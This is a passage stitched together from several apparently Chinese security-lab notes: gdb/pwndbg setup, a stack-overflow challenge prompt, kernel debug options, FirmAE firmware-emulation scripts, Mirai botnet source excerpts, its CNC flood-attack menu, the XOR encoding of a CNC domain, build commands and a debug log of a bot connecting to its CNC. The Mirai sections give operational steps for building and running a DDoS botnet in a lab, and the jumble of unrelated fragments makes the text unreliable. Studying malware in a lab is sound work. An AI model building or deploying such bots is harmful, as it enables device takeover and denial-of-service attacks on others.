# 加载pwndbg和gdbinit插件 source /home/utest/app/pwndbg/gdbinit.py source /home/utest/app/splitmind/gdbinit.py # 调试过程是否每次输入一条指令都清屏,我选择否这样可以在main区域看到程序输出 set context-clear-screen off set debug-events off
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer! What could possibly go wrong? You there, may I have your input please? And don't worry about null bytes, we're using read()!
Processor type and features ---> -*- Build a relocatable kernel [ ] Randomize the address of the kernel image (KASLR)
Kernel hacking ---> Compile-time checks and compiler options ---> [*] Compile the kernel with debug info [*] Generate BTF typeinfo [*] Provide GDB scripts for kernel debugging
在menu界面,可以通过输入/来搜索需要开启的内核特性,这比一个个去手动找方便。
设置完毕后,可以主动保存或者退出提示保存
make 开始进行编译,可以根据CPU的核数开启多线程编译,提高速度,例如make -j8。 编译完成后,和调试相关的两个重要文件的路径和作用如下:
add_partition () { local IFS=$'\n' local IMAGE_PATH local DEV_PATH="" local FOUND=false
losetup -Pf ${1} while (! ${FOUND}) do sleep 1 for LINE in `losetup` do IMAGE_PATH=`echo ${LINE} | awk '{print $6}'` if [ "${IMAGE_PATH}" = "${1}" ]; then DEV_PATH=`echo ${LINE} | awk '{print $1}'`p1 if [ -e ${DEV_PATH} ]; then FOUND=true fi fi done done
while (! ls -al ${DEV_PATH} | grep -q "disk") do sleep 1 done echo ${DEV_PATH} }
mount /dev/loop9p1 /home/utest/app/FirmAE/scratch/3/image/ tar -xf /home/utest/app/FirmAE/scratch/3/3.tar.gz -C /home/utest/app/FirmAE/scratch/3/image/
if (${FIRMAE_BOOT}); then arr=() if [ -e /kernelInit ]; then for FILE in `${BUSYBOX} strings ./kernelInit` do FULL_PATH=`${BUSYBOX} echo ${FILE} | ${BUSYBOX} awk '{split($0,a,"="); print a[2]}'` arr+=("${FULL_PATH}") done fi # kernel not handle this program if [ -e /init ]; then if [ ! -d /init ]; then arr+=(/init) fi fi for FILE in `${BUSYBOX} find / -name "preinitMT" -o -name "preinit" -o -name "rcS"` do arr+=(${FILE}) done
if (( ${#arr[@]} )); then # convert to the unique array following the original order uniq_arr=($(${BUSYBOX} tr ' ' '\n' <<< "${arr[@]}" | ${BUSYBOX} awk '!u[$0]++' | ${BUSYBOX} tr '\n' ' ')) for FILE in "${uniq_arr[@]}" do if [ -d ${FILE} ]; then continue fi if [ ! -e ${FILE} ]; then # can't found original file (symbolic link or just file) if [ -h ${FILE} ]; then # remove old symbolic link ${BUSYBOX} rm ${FILE} fi # find original program from binary directories FILE_NAME=`${BUSYBOX} basename ${FILE}` if (${BUSYBOX} find /bin /sbin /usr/sbin /usr/sbin -type f -exec ${BUSYBOX} grep -qr ${FILE_NAME} {} \;); then TARGET_FILE=`${BUSYBOX} find /bin /sbin /usr/sbin /usr/sbin -type f -exec ${BUSYBOX} egrep -rl ${FILE_NAME} {} \; | ${BUSYBOX} head -1` ${BUSYBOX} ln -s ${TARGET_FILE} ${FILE} else continue fi fi if [ -e ${FILE} ]; then ${BUSYBOX} echo ${FILE} >> /firmadyne/init fi done fi fi ${BUSYBOX} echo'/firmadyne/preInit.sh' >> /firmadyne/init
if (${FIRMAE_ETC}); then if [ -e /etc/init.d/uhttpd ]; then echo -n "/etc/init.d/uhttpd start" > /firmadyne/service echo -n "uhttpd" > /firmadyne/service_name elif [ -e /usr/bin/httpd ]; then echo -n "/usr/bin/httpd" > /firmadyne/service echo -n "httpd" > /firmadyne/service_name elif [ -e /usr/sbin/httpd ]; then echo -n "/usr/sbin/httpd" > /firmadyne/service echo -n "httpd" > /firmadyne/service_name elif [ -e /bin/goahead ]; then echo -n "/bin/goahead" > /firmadyne/service echo -n "goahead" > /firmadyne/service_name elif [ -e /bin/alphapd ]; then echo -n "/bin/alphapd" > /firmadyne/service echo -n "alphapd" > /firmadyne/service_name elif [ -e /bin/boa ]; then echo -n "/bin/boa" > /firmadyne/service echo -n "boa" > /firmadyne/service_name elif [ -e /usr/sbin/lighttpd ]; then # for Ubiquiti firmwares echo -n "/usr/sbin/lighttpd -f /etc/lighttpd/lighttpd.conf" > /firmadyne/service echo -n "lighttpd" > /firmadyne/service_name fi fi
if (! ${FIRMAE_ETC}); then sed -i 's/sleep 60/sleep 15/g' "${IMAGE_DIR}/firmadyne/network.sh" sed -i 's/sleep 120/sleep 30/g' "${IMAGE_DIR}/firmadyne/run_service.sh" sed -i 's@/firmadyne/sh@/bin/sh@g' ${IMAGE_DIR}/firmadyne/{preInit.sh,network.sh,run_service.sh} sed -i 's@BUSYBOX=/firmadyne/busybox@BUSYBOX=@g' ${IMAGE_DIR}/firmadyne/{preInit.sh,network.sh,run_service.sh} fi
// Try to bind to the control port errno = 0; if (bind(fd_ctrl, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1) { // 如果bind失败且失败原因为EADDRNOTAVAIL,说明本地的48101端口不可用,可能存在其他程序(bot)在使用 if (errno == EADDRNOTAVAIL && local_bind) local_bind = FALSE; #ifdef DEBUG printf("[main] Another instance is already running (errno = %d)! Sending kill request...\r\n", errno); #endif
// Reset addr just in case addr.sin_family = AF_INET; addr.sin_addr.s_addr = INADDR_ANY; addr.sin_port = htons(SINGLE_INSTANCE_PORT);
if (connect(fd_ctrl, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1) { #ifdef DEBUG printf("[main] Failed to connect to fd_ctrl to request process termination\n"); #endif } sleep(5); close(fd_ctrl); // 杀死占用端口48101的端口 killer_kill_by_port(htons(SINGLE_INSTANCE_PORT)); ensure_single_instance(); // Call again, so that we are now the control } else { if (listen(fd_ctrl, 1) == -1) { #ifdef DEBUG printf("[main] Failed to call listen() on fd_ctrl\n"); close(fd_ctrl); sleep(5); killer_kill_by_port(htons(SINGLE_INSTANCE_PORT)); ensure_single_instance(); #endif } #ifdef DEBUG printf("[main] We are the only process on this system!\n"); #endif } }
mirai-user@botnet# ? Available attack list udp: UDP flood ack: ACK flood stomp: TCP stomp flood greip: GRE IP flood http: HTTP flood vse: Valve source engine specific flood dns: DNS resolver flood using the targets domain, input IP is ignored syn: SYN flood greeth: GRE Ethernet flood udpplain: UDP flood with less options. optimized for higher PPS
cjfop.xyz sdfsd.xyz gosh that chinese family at the other table sure ate a lot TSource Engine Query /proc/ /exe /fd /cmdline enable system shell sh /bin/busybox BOTNET ncorrect BOTNET
# utest @ mirai-cnc in ~/app/Mirai-Source-Code/mirai/tools on git:comments x [19:16:33] $ gcc enc.c -o enc.out # utest @ mirai-cnc in ~/app/Mirai-Source-Code/mirai/tools on git:comments x [19:16:43] $ ./enc.out Usage: ./enc.out <string | ip | uint32 | uint16 | uint8 | bool> <data>
计算加密后的cnc域名和扫描成功结果返回域名,我是将二者都设置为同一个地址mirai.cnc:
1 2 3 4
# utest @ mirai-cnc in ~/app/Mirai-Source-Code/mirai/tools on git:comments x [19:16:49] $ ./enc.out string mirai.cnc XOR'ing 10 bytes of data... \x4F\x4B\x50\x43\x4B\x0C\x41\x4C\x41\x22
进入目录mirai中,执行build.sh debug telnet,此时使用的是debug模式,编译出来的bot不支持Telnet弱口令扫描,在实际的运用场景中使用build.sh release telnet。报错arm6l-gcc not found无所谓,只是这个交叉编译器没找到而已,可忽略,如果实际场景中非要编译出该架构的bot,也可以去找到相关的编译器并添加到PATH中。
1 2 3
# utest @ mirai-cnc in ~/app/Mirai-Source-Code/mirai on git:comments x [22:35:17] $ ./build.sh debug telnet ./build.sh: line 54: armv6l-gcc: command not found
# utest @ mirai-client1 in ~ [7:15:15] $ ./mirai.dbg DEBUG MODE YO [main] We are the only process on this system! listening tun0 [main] Attempting to connect to CNC [killer] Trying to kill port 23 [killer] Finding and killing processes holding port 23 Failed to find inode for port 23 [killer] Failed to kill port 23 [killer] Bound to tcp/23 (telnet) [resolv] Got response from select [resolv] Found IP address: 650010ac Resolved mirai.cnc to 1 IPv4 addresses [main] Resolved domain [main] Connected to CNC. Local address = 335548588 [main] Lost connection with CNC (errno = 9) 2 [main] Tearing down connection to CNC! [main] Attempting to connect to CNC [resolv] Got response from select [resolv] Found IP address: 650010ac Resolved mirai.cnc to 1 IPv4 addresses [main] Resolved domain [main] Connected to CNC. Local address = 335548588 [main] Lost connection with CNC (errno = 9) 2 [main] Tearing down connection to CNC! [main] Attempting to connect to CNC [resolv] Got response from select [resolv] Found IP address: 650010ac Resolved mirai.cnc to 1 IPv4 addresses [main] Resolved domain [main] Connected to CNC. Local address = 335548588 [killer] Detected we are running out of `/home/utest/mirai.dbg` [killer] Memory scanning processes [table] Tried to access table.11 but it is locked Got SIGSEGV at address: 0x0
到了下面的这个步骤,点击 Go Back -> Go Down -> Execute Shell,然后输入 poweroff 命令关闭虚拟机。如果点击 Continue,系统会重启,然后重新开始安装流程,类似于设置了 U 盘启动安装 Linux 系统,安装完毕后没有拔掉 U 盘,那么就会继续从 U 盘中的安装系统程序重新开始运行。
安装 bootloader
在安装过程中也会有提示说,no bootloader has been installed. 那么需要从 initrd.img 文件中获取 boot 分区,然后手动挂载出来。